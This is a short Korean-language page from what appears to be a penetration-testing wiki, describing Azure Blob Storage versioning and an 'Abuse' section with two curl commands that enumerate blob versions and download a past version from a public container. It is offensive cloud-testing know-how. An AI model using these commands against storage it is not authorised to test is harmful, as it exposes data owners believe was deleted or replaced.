> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/cloud/azure/blob-version-history.md).

# Blob version history

블롭 버전 관리는 컨테이너 내 블롭을 삭제하거나 변경하더라도, 이전의 상태를 버전으로 관리하여 언제든 복구할 수 있는 기능입니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FFWsAV6WktqVCjlQr2zIw%2F5.png?alt=media&amp;token=fdd5fa3f-d965-4ec6-ab27-1a31d5aa0b1d" alt=""><figcaption></figcaption></figure>

해당 기능은 기본적으로 비활성화 상태이며, 활성화가 되어있을 때 버전 목록을 열거함에 따라 과거 파일을 탈취할 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 버전 목록 열거
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web?restype=container&#x26;comp=list&#x26;include=versions" | xmllint --format -

<strong># 특정 버전의 블롭 다운로드
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web/'&#x3C;file>'?versionId=2025-11-26T16:22:23.6636783Z" --output '&#x3C;file>'
</code></pre>
